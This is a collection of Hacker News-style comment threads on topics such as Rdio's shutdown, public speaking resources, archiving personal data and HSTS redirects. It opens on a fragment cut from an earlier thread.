<comment><USER33> I know. I'm just not sure why the OP is so confident that me putting "Cuban Sandwich" in the memo is going to get me flagged. Still good so far.

</comment></comment></comment></comment></comment></comment></comment><comment><USER35> What is the point of using an [http://](http://) URL with a website like NPR. These popular sites all redirect to [https://](https://)

Headers will be sent over the wire in the clear before any redirection can occur.

A localhost-bound proxy can fix this before the request leaves network interface.

I guess the "modern" browser fixes this for everyone else not using a ("modern") proxy.

<comment><USER36> > I guess the "modern" browser fixes this for everyone else not using a > ("modern") proxy.

Only if the site owner wants it so [https://hstspreload.org/](https://hstspreload.org/)</comment></comment>


Hackers tried to sell access to BBC Server - <AUTHOR> http://news.yahoo.com/exclusive-hacker-took-over-bbc-server-tried-39-141145911--finance.html

<comment><USER2> Would be justified as long as they deleted all the copy's of Mrs Browns Boys</comment>


Why Rdio died - <AUTHOR> http://www.theverge.com/2015/11/17/9750890/rdio-shutdown-pandora <comment><USER2> _" Rdio, I guess, made the mistake of trying to be sustainable too early," Miner says. "That classic startup mistake of worrying about being profitable and having a business that makes any sense before you've reached this astronomical growth curve."_

A. Mistake of having a business that makes sense? Are you kidding me?

B. Spotify and Pandora are heading straight towards the same fate as Rdio.

<comment><USER3> If Spotify becomes its own "label" then it'll probably have a better chance... given the size of its user-base.

<comment><USER4> I've always wondered why Google and Apple didn't do just that.

They offer some of the biggest distribution channels available, have deep pockets, and have a VERY vested interest in killing the status quo because of the freedom it will give them for using music and promoting artists in new ways.

That is definitely one industry that needs to have more competition.

<comment><USER5> The book "How Music Got Free" explores that dynamics. Steve Jobs had an idea for Apple Music to launch as a label, doing direct 50/50 split with an artist instead of opaque label contracts.

He'd call Doug Morris (ex-Universal, ex-Warner, ex-Sony) to get him to come onboard as a CEO of that label, but in Morris' view a label that could not cut upfront checks to young artists would not stay in business for long.

Any promising artists would then be schmoozed and seduced by the labels who can cut advance checks and offer real money in the pocket today instead of abstract fairer revenue split down the road. Any existing top artists already have some label relationship that is hard to get out of. What you're left with is a bunch of nobodies, kinda like the MP3.com back in the days.

<comment><USER4> I might be missing something here, but Apple clearly can bankroll paying artists up front. Any insight into what drove the strategic decision not to (at least in the short term)?

<comment><USER5> From the book it sounds like they didn't want to. That implies running a whole shebang with scouts, sleazy agents, legal departments that draw up screwy contracts to guarantee future revenues, i.e., everything but the transparency that Apple wanted to bring to market.

</comment></comment></comment></comment></comment></comment><comment><USER6> I'm in denial. I refuse to believe this is happening.

When Rdio is gone there's going to be a huge hole in my life that needs filled with good design and experience browsing my music. iTunes is a shitshow. Spotify is ugly. Pandora is radio. It's all rubbish.

The Winamp revival cannot come soon enough.

<comment><USER7> Have you tried google music? I find that <random song> radio, while a little too "just one genre" is good for finding new artists and music.

They also have a decent "blogged 50" playlist which is recent/modern music.

Other than that, I mostly listen to kexp.org for a good mix of music. Sometimes for radio you can't beat the radio.

<comment><USER8> Agree on the radio part. I know "curated" stations are the hip new feature on Apple and similar music services but there are tens of thousands of free streaming stations that use the shoutcast/icecast protocol and they've been around since the late 1990's.

The on-demand services are more like a replacement for album/track purchases but I've found that bookmarking 10 or 20 favorite Shoutcast stations in anything from Winamp to VLC to any other desktop or mobile app that supports streaming mp3 is like having the best, human-programmed radio dial ever.

Even back in the early 2000's when I was stuck on 128k/sec cellular data I would hook my Treo up to the car stereo and stream 96kbps music when everyone else was paying for XM. Then with the move to third-gen data networks I got the bump to 800k/sec and streaming much nicer 128k-192k stuff was simple. Sound didn't beat a CD but it was better than satellite radio's compressed streams a lot of the time.

Even today, I usually listen to KEXP's stream or Devil's Night Radio or something from SomaFM before dicking around on Spotify or Youtube. There's just something to be said for finding stations that are programmed and run by people with a knowledge and love of music that you also may enjoy. Noticing themes or trends in strings of songs always puts a smile on my face in a way that Pandora or Spotify just never will.

</comment></comment></comment><comment><USER9> Wow that really sucks. I use Rdio daily. It's really good for exploring new music - I've built up a great list of favourites. Is there any way to back that info up locally?

<comment><USER10> Yes. You can extract your favorites as a CSV with this extension: [https://chrome.google.com/webstore/detail/rdio- enhancer/hmaa...](https://chrome.google.com/webstore/detail/rdio- enhancer/hmaalfaappddkggilhahaebfhdmmmngf?hl=en)

Now I'm looking around to see if it would be possible to import the contents of that CSV into another service. It looks like Spotify has an API to add a track to a user: [https://developer.spotify.com/web-api/save-tracks- user/](https://developer.spotify.com/web-api/save-tracks-user/)

And there's a third-party API some folks cooked up for Google's service: [http://unofficial-google-music- api.readthedocs.org/en/latest...](http://unofficial-google-music- api.readthedocs.org/en/latest/reference/mobileclient.html)

Might have to play with them this weekend.

<comment><USER11> Thanks for pointing out this extension. I was looking fod a say to export my favorites.

</comment></comment></comment><comment><USER12> I was a Rdio subscriber for a year before Spotify, and I can say I left it because of:

\- Buggy desktop app (used Flash player and would eat 100% CPU)

\- Buggy mobile app [1]

\- Restricted library (lots of tracks marked as "not available in your country", which defeats the point of having an online streaming service).

[1] [https://news.ycombinator.com/item?id=7074056](https://news.ycombinator.com/item?id=7074056)

<comment><USER13> To be fair, the country restrictions are caused by the labels, not Rdio.

<comment><USER14> The unfortunate truth is that to users, it absolutely does not matter whose fault it is, only that the country restrictions are there.

<comment><USER15> It means that every (legal) service is likely to run into the same problems though. The only way to avoid the headache is to pirate the music instead.

</comment></comment></comment></comment><comment><USER16> Most of my friends are (were?) on Rdio. I liked it to a point, until the music library I'd built was suddenly cut in half because reasons? Reasons pertaining to exclusivity arrangements with other services, or label agreements expiring, or whatever. But basically, reasons.

It's enough to turn me off of cloud-based music services entirely, honestly. I'm only considering possibly ever subscribing to Apple Music because they let you upload tracks you own that they don't have. I hear Google Music does the same thing? Or maybe I'll finally set up that Plex server...

<comment><USER17> So true. I remember the first time I brought up an old-ish Spotify playlist, only to discover that _all_ of the songs were now unplayable, with no explanation. All of the songs still existed on the service, but those IDs just expired for some reason. Same happened on Rdio from time to time. Presumably this is a record company issue, not one endemic to any particular service.

But as much I wanted to love Rdio, the app (Android in particular) had many bugs that would cause it to crash or lock up, and some that would send my network connection off into the weeds, requiring (at least) an airplane-mode reset.

And despite the claims of "elegant, groundbreaking", what music app has Search on slide-out besides Rdio? With results that appear in a 1/3-size screen?

Time to figure out how to get my playlists over to Rhapsody, the Little Music Service That Could.

</comment></comment><comment><USER18> I was a rdio subscriber and their Andriod app was unreliable - it would just stop working and have to be force killed. Yes, I can do that but for most people, that is pretty horribl. Even I switched to Spotify after a while.

<comment><USER19> Just as a alternative view: I was a Spotify user but their Android app was unreliable... my phone would hard reset occasionally. Then I started using Google Play Music.

</comment></comment><comment><USER20> I loved the interface design and discovery. There was a lot to like about Rdio, but no gapless playback? C'mon who wants to listen to Darkside of the Moon with a 2 second pause between each track?

</comment><comment><USER21> For someone like me who was using Spotify for a few years, the short experience with Rdio that i had was like "Oh, ok, it's basically like Spotify. I keep using Spotify then."

<comment><USER22> Alternatively, I used Rdio first and tried out Spotify when they released the Playstation4 integration and my reaction was "Oh, ok, it's basically Rdio but with a lousy interface. I'll keep using Rdio then".

<comment><USER23> Rdio wouldn't let me download songs onto my laptop to listen to on flights so I ditched them for Spotify.

Also helped that my new living room receiver had Spotify integration but not Rdio.

</comment></comment></comment><comment><USER24> Given the brutal reality of the streaming music business, it would not shock me if Spotify suffered the same fate.

<comment><USER21> The difference is, Spotify has a HUGE brand. When Spotify launched it was like iTunes, but you could listen to everything "for free". Sure, it wasn't free but compared to paying for every Album i'd listen to, a flat rate is basically free.

<comment><USER24> Spotify has a great brand, but that doesn't solve the underlying poor economics of their model. With Apple and Google moving in, I'm not sure their brand is a long term advantage at this point. I just started trialing Youtube Music - $9.99 a month (US only at the moment) with free Google Play Music. And it's pretty good. And I'm pretty sure Youtube is a bigger brand than Spotify.

Neither Google or Apple has to make money from their service - whereas Spotify must make money. It makes me wonder why Spotify hasn't just gone after artists directly, because that's the only way I see them making money long term.

<comment><USER25> > It makes me wonder why Spotify hasn't just gone after artists directly, > because that's the only way I see them making money long term.

That's partially what Tidal tried to do but it's not going very well for them either, unfortunately.

</comment></comment></comment></comment><comment><USER26> I love how easy it is to browse for music by record label on rdio. Not something you can do on other platforms and it's a great way to discover new music! It'll be sad to see it go.

<comment><USER27> Searching by record label is a hidden feature on Spotify. Try typing label:"Atlantic records" in the search box.

<comment><USER28> Why so?

</comment></comment></comment><comment><USER29> As someone who worked at GS, this kills me. I hate to see a streaming service go down like that. I've mostly been listening to my library in Amazon's online player - not a particularly big fan of Prime Music at all, bleh - but I did give Rdio a try and enjoyed it. It was a much more enjoyable experience than Spotify. Definitely feeling for the company.

</comment><comment><USER30> I can't for the life of me figure out why we need 18 different services that do -- from my perspective -- the exact same thing. Spotify, Pandora, iTunes, Google Music, Amazon, Rdio... can't tell the difference between any of them, so I just use whichever one gives me a free month that month in all the spam marketing crap they send out.

<comment><USER31> Competition is healthy. With 18 different services to do more or less the exact same thing, prices stay down. If there was only Spotify and they raised their prices to higher than what you prefer, what company would you turn to?

</comment></comment><comment><USER32> And for those interested, here's the sale process and purchase agreement fro their bankruptcy filings ( [https://drive.google.com/file/d/0B5k5SQee7k5pT3ZGVGZiU01jSE0...](https://drive.google.com/file/d/0B5k5SQee7k5pT3ZGVGZiU01jSE0/view?usp=sharing) )</comment>


How to Be a Man - <AUTHOR> http://www.stevepavlina.com/blog/2008/05/how-to-be-a-man/ <comment><USER2> What? All you need to become an authority on personal development is to have been a software engineer? Okay, I'll bite:

How to Be a Manly Man:

1\. 100 pushups. In a row. While chugging beer.

2\. Laugh at other 'men' who enjoy romantic comedies.

3\. You must have enough chest hair to stuff pillows.

4\. Write a web application in machine language.

5\. Put your children first. Until they get in the way of your principles. Then put the little buggers up for adoption.

6\. Be confident. It worked for the president when he invaded Iraq.

7\. Make real decisions decisively. It worked for the president when he invaded Iraq.

8\. Die well. Don't make huge gasping sounds when you go, that'll just make you look wimpy. Instead, why not place a broadsword across your chest?

9\. Write essays with empty platitudes about how to be a manly man.

I stopped at 9 instead of 10, because I firmly believe that real men believe in quality over quantity. Oh, in case you're interested, I'm available for personal development consulting...

</comment><comment><USER3> If you need a "tutorial" on how to be a man from some guy claiming psychic abilities, you're surely not a man...

<comment><USER4> Precisely. And he'll teach you how to be one! It all works out.

</comment></comment><comment><USER5> This is getting up-voted? Ugh.

</comment><comment><USER6> "Life will test the man to see if he's willing to put loyalty to others ahead of loyalty to his principles."

But one of my principles is loyalty to people I love!

Man? Not man? Man?

Oh, man! My head asplode.

</comment><comment><USER6> Is there anything there that does not apply equally to women?

</comment><comment><USER7> Mmm, sure. That and a pair of testicles.

<comment><USER7> wow, should've guessed no big lebowski fans... when the guy is talking about what makes man, and lebowski says that.

sorry the internet is serious business.

<comment><USER8> I wish I could gift you all of my karma for that one. I nearly fell out of my chair laughing.

</comment></comment></comment><comment><USER9> 0\. Don't accept someone else's definition of what you ought to be.

(Fixed that for you.)

</comment><comment><USER10> "a man isn't ready to live until he accepts that he's already dead."

That's a good rule to live by. Not so sure about the rest of the article..

<comment><USER11> Don't hate, he's just sharing his love with the rest of us.

<comment><USER10> ah you're right, it's love

</comment></comment></comment><comment><USER12> Can someone kill this, please?

</comment><comment><USER13> How to Lose Readers

</comment><comment><USER14> He's a former software developer, for those who don't know.

</comment><comment><USER15> Coming up soon in my blog, "How To Be An Asshat"

</comment><comment><USER16> For those who catch the reference, i'll throw Steve a porkchop.

The piece is an easy target for ridicule and jokes, but read something like "The Fountainhead" or at least watch the fairly faithful movie. You might soften your opinion a bit.

</comment><comment><USER17> OMG!</comment>


The Great "We Support Female Founders" Lie Continues… - <AUTHOR> https://code.likeagirl.io/the-great-we-support-female-founders-lie-continues-b9048d1a5b7e <comment><USER2> >At the Y-Combinator Female Founders Conference this year, every single company that presented on stage had a male co-founder. Every. Single. One.

So what do you want, forced quotas?</comment>


Scala 2.8.0 RC3 is out - <AUTHOR> http://www.scala-lang.org/node/6497

<comment><USER2> Scala is cool and all, but I'd have thought HN only needs to know when there's an actual release, no?

<comment><USER3> I agree. I can't even easily find out the difference between rc3 and rc2 in terms of bug fixes, etc.

</comment></comment><comment><USER4> Damn... a lot of people went through agony to upgrade stuff to RC2 ;)</comment>


Ask HN: Good public speaking course/resources? - <AUTHOR> I was looking into improving my speech skills and also be more confident at public speaking, are there any good online course or resources that you know of? <comment><USER5> I too recommend Toastmasters, without repeating what's been said, see it as a place to experiment different styles of speaking and a cheap place to fail. I would perhaps not start at a corporate toastmasters at first but a local community one. Also look into Advanced clubs where everyone is very driven about improving. Giving productive feedback through their evaluation program is also a useful skill.

On practise: I don't recall who or which podcast I heard this from but even professional comedians practise a lot. There was a metric of practising minimum an hour for every minute of your speech/act. It's not all about brute memorization, its the fine tuning of little things that make the delivery amazing.

On fear: Even the best still get butterflies. Public speaking is said to be very counterintuitive to our survival instincts since you expose a lot about yourself to a large group of people. Practise lets you manage that fear and fosters more confidence.

I think you'll learn a lot about speaking, and entertainment in general and will gain appreciation for good presentations.

Finally, you'll realize you won't reach out to everyone in your audience. In an average technical presentation, if 25% of my audience felt the content was too complicated, 25% too easy, but 50% just right, then I've succeeded.

Best of luck!

*Edit: typo

<comment><AUTHOR> Thank you gao8a, yes I went to a nearby toastmasters club as guest and planning to join them soon.

</comment></comment><comment><USER6> The number one thing you need is practice. The number two thing is feedback.

Various clubs (Toastmasters is the most widespread one) can provide that. But don't discount the benefit of preparing a speech and delivering it over and over again, even to no one. Filming yourself can provide the feedback component.

I think "Thank You For Arguing" [0] is a good resource on persuasion broadly. Some of the same things that work on a person-to-person level also apply to a speaker-to-audience relationship, and the book goes into both areas.

American Rhetoric has a library of audio recordings from "great speeches" [1]. Listen, and imitate the things you like.

Finally, more than anything else, I'd actually recommend taking improv comedy/improv theater classes. They taught me two things: that not knowing what you're going to say next is totally fine, and that the audience is on your side and wants you to succeed. Knowing both of those things in your bones before you take the stage makes everything so much easier.

[0] [https://www.amazon.com/Thank-You-Arguing-Revised- Updated/dp/...](https://www.amazon.com/Thank-You-Arguing-Revised- Updated/dp/0385347758/)

[1] [http://www.americanrhetoric.com/top100speechesall.html](http://www.americanrhetoric.com/top100speechesall.html)

<comment><USER7> In addition to feedback from people, it's really useful to take video (which is easy these days) and carefully watch it. It really makes you aware of distracting habits and verbal tics.

I have an interview style podcast and editing makes me _very_ aware of verbal tics in both myself and others.

You may find it easier to record yourself while speaking to others though. At least for me, just talking into a camera in my office can feel very awkward.

ADDED: I have taken courses through my employer a couple of times. They've been useful but I agree with everyone else that observing others who you think do a good job, practice, and feedback are generally more useful than taking a course as such. I wouldn't dissuade someone from taking a course but don't go in expecting to learn the magic formula.

<comment><AUTHOR> Thank you ghaff, I'll try observing my successful colleagues, and record more of myself and analyze.

</comment></comment></comment><comment><USER8> I second Toastmasters.

I've been a member for about a year now and it has made an enormous difference. I used to be absolutely terrified to public speaking. I would get so incredibly nervous and flustered that it would barely be able to get anything out and it would make everyone in the room super uncomfortable. But now I've become a halfway decent public speaker. And in translates well to all sort of other social interactions too. I'm definitely more confident overall.

It really is all about practice, and being able to do that in front of a group of people that are trying to do the same is comforting.

<comment><USER9> I'll second the point about overall confidence. I started so that I could do presentations at meetups/conferences but it became so much more important outside of work.

</comment></comment><comment><USER10> I was very fortunate to have a public speaking role a few years ago that let me speak to 1500+ people every week and I can definitely say that there are two levels IMO.

1\. Actually speaking. For this, you just want to practice. Often times that's what you need. Toastmasters I've heard is great, but any chance you have to practice, just go for it. I'm a big fan of improv (I've taken the UCB course in New York while in college which is really fun!), as it gets to the principle issue: comfort. You just need to feel comfortable and part of that is really about learning how to harness your nerves. The difference in feeling between being nervous and excited may not be far apart from a physical perspective, so trying to channel those nerves and treat them as a Good Thing, is definitely what you want to do, and you're only going to get better with practice.

2\. Speech writing. This is totally different, and is actually very different from something like essay writing. It's very top heavy, and this IMO can be picked up from just watching a lot of speeches. Alterations, keeping track of syllable count and sonic tricks help compose how your speech is heard, which is different from how it's understood. Learning how to get something to sound a certain way is something you don't think too much about when writing essays, but is paramount to writing speeches. In addition, learning how to format them content wise is also different from many other forms of writing. I find the best way to look at this (much like programming), is to look at existing speeches (like looking at projects), and try to understand what makes a speech 'good', and what doesn't. From Steve Jobs at Stanford to Barack Obama's Red States and Blue States (Obama really employs great melodic elements in his speeches in contrast to Jobs's more conversational story telling style) - there are many different ways to cut it, but the best is to look at what impacts you and attempt to deconstruct why.

Again, if you just want to be comfortable with speaking in public, just practice and throw yourself in there. The fear of having a bad speech is always 1000x worse than the reaction to having a bad speech. The stakes in public speaking aren't as high as most people think and often times the worst thing that can happen is boredom. I find the biggest mistake most people make is really thinking people care more than they actually do. So just go and try to have fun with it - and fake that confidence long enough until it starts to feel real :).

<comment><USER11> Jupp. When you speak, keep your audience in mind. It is for your audience's benefit that you speak, not necessarily for yourselves.

<comment><USER7> >When you speak, keep your audience in mind.

And different audiences, in different settings have very different expectations around things like technical depth and polish. Something could be a super-duper TED talk or keynote at a big conference and be utterly uninteresting for the audience at a local event that's there for technical deep-dives.

</comment></comment></comment><comment><USER12> Dale Carnegie will teach you formulas __

Toastmasters will give you practice.

In would also recommend watching some great communicators. Like Martin Luther King Jr. I like his speech to Stanford called "the other america" (can't post link sorry)

 __how to thank a group when receiving an award. 1thank them. 2 tell them why and how the award means to you. 3tell them how you will use what you received. 4 thank them again.

<comment><AUTHOR> thanks losteverything

</comment></comment><comment><USER13> Not really a course but Zach Holman has written a decent guide [1] on public speaking within tech that offers a lot of handy advice.

[1] [http://speaking.io/](http://speaking.io/)

</comment><comment><USER14> Claim Your Voice, the one in the Bay Area by Jonathan Bender. [http://yourtruevoice.org/claim-your-voice/](http://yourtruevoice.org/claim- your-voice/)

This course is not cheap, but if you're serious, this was put together by a guy from a theatre background. If you think about it, actors have to learn to deal with all the things that speakers must deal with: anxiety, confidence, voice, body language, eye contact, presence, etc. This course was an eye- opener for me in many ways I had never thought of.

I highly recommend this after having been through: Dale Carnegie - <USER2> orientation to people skills, but not a lot of speaking practice; Toastmasters - "amateurs teaching amateurs" \- groups vary widely; Speaking Circles - touchy feely

</comment><comment><USER15> Every comment on this thread is valuable. The key is lots of practice and feedback. If Toastmasters is not an option - or if you don't feel ready yet, an alternative is recording yourself while doing speaking exercises at your own pace. We built a tool for this exact reason: [https://www.speakscore.net](https://www.speakscore.net)

</comment><comment><USER9> I started with ToastMasters: [https://www.toastmasters.org/](https://www.toastmasters.org/)

They have clubs in most cities and sometimes multiple. I attended an English language club in Amsterdam and it helped me tremendously.

It's run by the members for the members and at least at the one I attended it was incredibly supportive and very affordable.

</comment><comment><USER16> If anyone here is specifically interested in "tech evangelism" tips, I have been one for several years, and have written a few things about it - <USER3> cover, in part, public speaking; I hope you find these useful:

1) [http://brunozzi.com/2015/04/30/on- evangelism/](http://brunozzi.com/2015/04/30/on-evangelism/)

2) Related to "accents" : [http://brunozzi.com/2013/09/02/accents-english- arrogance-suc...](http://brunozzi.com/2013/09/02/accents-english-arrogance- success/)

</comment><comment><USER17> Dale Carnegie's public speaking courses.

If you're terrified of public speaking:

[http://www.dalecarnegie.com/events/getting_rid_of_the_fear_a...](http://www.dalecarnegie.com/events/getting_rid_of_the_fear_and_horror_of_public_speaking/)

If you're a little bit more advanced:

[http://www.dalecarnegie.com/events/public-speaking- courses/](http://www.dalecarnegie.com/events/public-speaking-courses/)

</comment><comment><USER18> Also check out this book "TED Talks: The Official TED Guide to Public Speaking" [1], written by the owner of TED himself. I read many books on public speaking and this is by far the best. I've been giving it as gift to friends who do public speaking of any kind.

[1] [https://www.amazon.com/TED-Talks-Official-Public- Speaking/dp...](https://www.amazon.com/TED-Talks-Official-Public- Speaking/dp/0544634497/)

</comment><comment><USER19> I really liked the "Introduction to Public Speaking" course at Coursera : [https://www.coursera.org/learn/public- speaking](https://www.coursera.org/learn/public-speaking)

</comment><comment><USER20> Ok, we all need to practice, train our respiration and voice intonation. There's a lot of tips about it. But one of the most important thing is to present a clear message.

I liked the book "Made to Stick" [http://heathbrothers.com/books/made-to- stick/](http://heathbrothers.com/books/made-to-stick/) about how to clearly present your message. They have a very good summary designed for presentations called "Making Presentations That Stick". The authors will give it in exchange of subscribing for their mailing list: [http://heathbrothers.com/resources/overview/](http://heathbrothers.com/resources/overview/) (it is in the bottom of the page)

<comment><AUTHOR> Thanks @neves ! will look into this book

</comment></comment><comment><USER21> As Oren Klaff said...you can't steal it, you can't find it, you can't buy it...you have to earn it.[0]

Courses and books give you tool. For sharpening, you have to use it daily.

Good resources about "tools":

> I'd Rather Die! Public Speaking Survival Skills by Robert Scanlon.[1]

> MIT OWC - Rethoric [2]

> Oren Klaff - How To Pitch Anything (LondonReal) [0]

> (not exactly about speaking but suitable for speak preparation) Technical > communication by Mike Markel [3]

[0] [https://www.youtube.com/watch?v=WxwTn_f5yaI](https://www.youtube.com/watch?v=WxwTn_f5yaI)

[1] [https://goo.gl/zv2DOY](https://goo.gl/zv2DOY)

[2] [https://goo.gl/oJ4lRL](https://goo.gl/oJ4lRL)

[3] [https://goo.gl/AxS1Pc](https://goo.gl/AxS1Pc)

Edit: Formatting

<comment><AUTHOR> Thanks a lot for all the resources selmat !

</comment></comment><comment><USER22> Besides the other resources listed below, here's two great books about the importance of leadership presence, and the power of storytelling.

> Leadership Presence > [https://www.amazon.com/gp/product/B002J05GIA/](https://www.amazon.com/gp/product/B002J05GIA/)

> Communicate to Influence: How to Inspire Your Audience to Action > [https://www.amazon.com/Communicate-Influence-Inspire- > Audienc...](https://www.amazon.com/Communicate-Influence-Inspire-Audience- > Action-ebook/dp/B00TJHL6LW/)

</comment><comment><USER23> I once came across "Public Speaking Pro Tips" video series by Google [https://www.youtube.com/watch?v=rkFbmJSyuKk&list=PLOU2XLYxms...](https://www.youtube.com/watch?v=rkFbmJSyuKk&list=PLOU2XLYxmsIJCljbqWadE1AbnWRdqBHiQ&index=1)

</comment><comment><USER24> While others are recommending platforms to practice, here are my 2 cents. Most important asset for a public speaker is "clarity". Clarity of thoughts is a magnet for audience attention. Once you have an audience "connect", anything you say is gold. Clarity of thought can be improved by these two resource books:

1\. Art of Argument - Giles St.Aubyn (ISBN 0800803698) 2\. Influence - <USER4> Cialdini (006124189X)

After that, try reading some Bertrand Russell writings. See how your argument and persuasion quality jumps from above resources.

<comment><AUTHOR> Clarity got it, thanks hasitseth

</comment></comment><comment><USER25> Ingrid Gudenas was going to offer a webinar [https://www.linkedin.com/pulse/do-your-presentations-look- so...](https://www.linkedin.com/pulse/do-your-presentations-look-sound-like- everyone-elses-ingrid-gudenas-1?articleId=8583458041836358144)

I attended her half day workshop in the Bay Area and it transformed my public speaking and made it easier fir me to build rapport with the audience.

</comment><comment><USER26> have you considered creating an instagram channel and just talking about things you like?

when I record, I get to see my own body language, my phone changes my speaking voice and picks up my very strong Bronx accent.

<comment><AUTHOR> No mrcactu5, I guess I should do that

</comment></comment><comment><USER27> _Speak like a leader_ | Simon Lancaster | TEDxVerona

[https://www.youtube.com/watch?v=bGBamfWasNQ](https://www.youtube.com/watch?v=bGBamfWasNQ)

</comment><comment><USER28> virtualspeech.com is good for training public speaking in VR.

<comment><USER29> Second this, great tool for practising, huge step up from doing it in front of a mirror (free/cheap as well)

</comment></comment><comment><USER30> Are there any good podcasts on public speaking?</comment>


Booki Project Fully Working Angular 7 – Java EE Spring Boot Application  - <AUTHOR> https://github.com/Houssem-Selmi/booki <comment><AUTHOR> Booki is an application that allows the management and tracking of user books reading list, published to provide a fully working web application for developers who are interested in building modern web apps using Spring Boot as a backend solution, and Angular 7 for the frontend.

</comment><comment><USER2> Great work !!</comment>


Ask HN: Personal Data Preservation Strategies - <AUTHOR> I have some personal data that I can reasonably expect to never need again, aside from maybe just wanting to view it for historical reasons, but I don't want to just delete it all since it would be irrecoverable. How do you go about preserving personal files that you won't need but don't want to lose.<p>I was thinking of something like zipping it all, and putting it on a dedicated hard drive to create my own personal archive for this and other similar data. But thought I'd see if someone had already invented this wheel before purchasing the hardware for this strategy. <comment><USER2> Couple of questions

1) how much data are talking about? Can you fit it all on DVD or a couple of flash drives and stick in a safe deposit box?

2) I guess you've already answered this question but I'd consider asking yourself if life would be easier if you just deleted the data and no longer had to worry about its existence. If you're not sure if any of it will be valuable, then maybe this in indication that the data needs to be pruned for the good stuff. Keeping it intact and secure overtime is a non trivial cost and digging deep in an archive for that one file is often a headache.

I'll add a caveat that this second approach might seem counterintuitive, considering how easy it is to store data, and how great it can feel to pull that one file when you need it, but the question is whether this data will just be a burden over time or not.

This makes me think that I should really clean off and organize my personal computer HD

<comment><AUTHOR> 1) Probably on the order of about 200GB of random file types. Definitely within the range of reasonably priced HDD.

2) True, I just can't bring myself to delete it yet, thus the hope that someone had concocted a way to minimize the non-trivial cost of long-term storage.

</comment></comment><comment><USER3> I use offline hard drives to store files that I don't think I'll be using in the future (but don't have the heart to destroy). I direct the find command to a file to make a searchable index of the drive in case I need to find a file but am too lazy to connect the drives and search them.

</comment><comment><USER4> I'd move it to

[https://aws.amazon.com/blogs/aws/new-amazon-s3-storage- class...](https://aws.amazon.com/blogs/aws/new-amazon-s3-storage-class- glacier-deep-archive/)

Pricing is super cheap like $1/terabytes a month

<comment><USER5> Be sure to take into account the retrieval costs [https://aws.amazon.com/glacier/pricing/](https://aws.amazon.com/glacier/pricing/)

$10 per 1,000 requests for expedited retrieval could result in a shocking bill if you're not careful.</comment></comment>


Asian airlines are selling in-flight meals directly to the public - <AUTHOR> https://www.economist.com/asia/2020/08/29/asian-airlines-are-selling-in-flight-meals-directly-to-the-public <comment><USER2> [http://archive.is/L4xys](http://archive.is/L4xys)</comment>